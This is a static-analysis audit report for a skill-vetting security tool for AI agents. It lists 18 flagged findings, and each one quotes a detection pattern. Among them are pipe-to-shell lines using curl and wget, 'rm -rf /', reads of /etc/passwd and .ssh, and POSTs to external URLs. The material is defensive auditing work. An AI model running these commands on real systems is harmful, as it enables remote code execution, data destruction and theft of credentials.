ClawAudit verdict
skill-vetter
vivi-skill-vetter
Security skill vetting tool that lists dangerous patterns (curl|bash, nc -e, /etc/passwd) exclusively as examples of patterns to DETECT and block in other skills — all sensitive references are definitional/educational, not instructional.
⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.
Automated static analysis — not a human review. ClawAudit flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
Permission integrity
agent_memory
Findings (18)
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
references/patterns.md · code · curl https://example.com/script.sh | bash
Pipe-to-shell pattern (wget | sh)
references/patterns.md · code · wget -O - https://example.com/install.sh | sh
Pipe to bash — executes piped content as shell commands
references/patterns.md · code · | bash
Pipe to sh — executes piped content as shell commands
references/patterns.md · code · | sh
Accesses sensitive system files
references/patterns.md · code · /etc/passwd
Recursive delete from root or home — destructive command
references/patterns.md · code · rm -rf /
Uses eval() — can execute arbitrary code
references/patterns.md · code · eval(
Dynamic __import__('os') — Python OS command execution
references/patterns.md · code · __import__('os')
References sudo — requests elevated privileges
references/patterns.md · code · Sudo
Accesses .ssh directory
SKILL.md · code · .ssh/
Uses exec() — may execute shell commands
references/patterns.md · code · exec(
References agent memory files
SKILL.md · code · MEMORY.md
Sets world-executable permissions
references/patterns.md · code · chmod 777
Changes file ownership
references/patterns.md · code · chown
References webhook/callback URL
references/patterns.md · code · WEBHOOK_URL
POSTs data to external URL
references/patterns.md · code · .post('https://
Python shutil file operation — copies/moves/deletes files
references/patterns.md · code · shutil.copy(
Accesses shell history/config
scripts/vet_skill.py · prose · downgraded · ~/.zshrc
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/B/D/F). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
No declared permissions — minimal attack surface.
agent_memorycredential_store Is this flag fair?
Thanks — recorded.